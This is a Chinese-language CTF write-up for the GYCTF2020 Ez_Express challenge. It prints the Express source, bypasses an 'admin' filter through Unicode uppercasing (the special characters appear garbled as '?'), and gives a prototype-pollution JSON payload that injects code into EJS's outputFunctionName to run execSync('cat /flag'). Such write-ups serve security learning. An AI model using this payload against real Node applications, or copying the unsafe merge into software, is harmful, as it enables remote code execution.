[GYCTF2020]Ez_Express
随便注册一个账号登录,查看源代码可以发现www.zip的提示
下载源码,找到index.js
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);} else {
a[attr] = b[attr];}}return a
}
const clone = (a) => {
return merge({
}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword}return undefined
}router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');}res.outputFunctionName=undefined;res.render('index',data={
'user':req.session.user.user});
});router.get('/login', function (req, res) {
res.render('login');
});router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>") }req.session.user={
'user':req.body.userid.toUpperCase(),'passwd': req.body.pwd,'isLogin':false}res.redirect('/'); }else if(req.body.Submit=="login"){
if(!req.session.user){
res.end("<script>alert('register first');history.go(-1);</script>")}if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;}else{
res.end("<script>alert('error passwd');history.go(-1);</script>")}}res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){
res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body);res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={
'user':res.outputFunctionName});
})
module.exports = router;
首先想办法以admin登录,在注册的时候如果以ADMIN注册会弹出forbid word,这里admin被过滤了,无论大小写。
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword}
但在注册完存放用户名的时候,会被转成大写。利用javascript的特性,"?"的大写是“I”、"?"的大写是“S”。因此用adm?n绕过。
req.session.user={
'user':req.body.userid.toUpperCase(),'passwd': req.body.pwd,'isLogin':false}
继续看源码发现merge和clone那多半是原型链污染
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);} else {
a[attr] = b[attr];}}return a
}
const clone = (a) => {
return merge({
}, a);
}
我们在框中的输入提交后触发/action,其中触发了 req.session.user.data = clone(req.body);
关于原型链污染,这篇文章讲的很详细https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
要达成的目标可以看/info,将outputFunctionName渲染到页面中,但是这个outputFunctionName没有定义。所以我们可以给对象原型的类添加一个outputFunctionName属性,通过它得到flag。
router.get('/info', function (req, res) {
res.render('index',data={
'user':res.outputFunctionName});
})
content type改成application/json
payload:
{
"lua":"a","__proto__":{
"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
再访问/info得到flag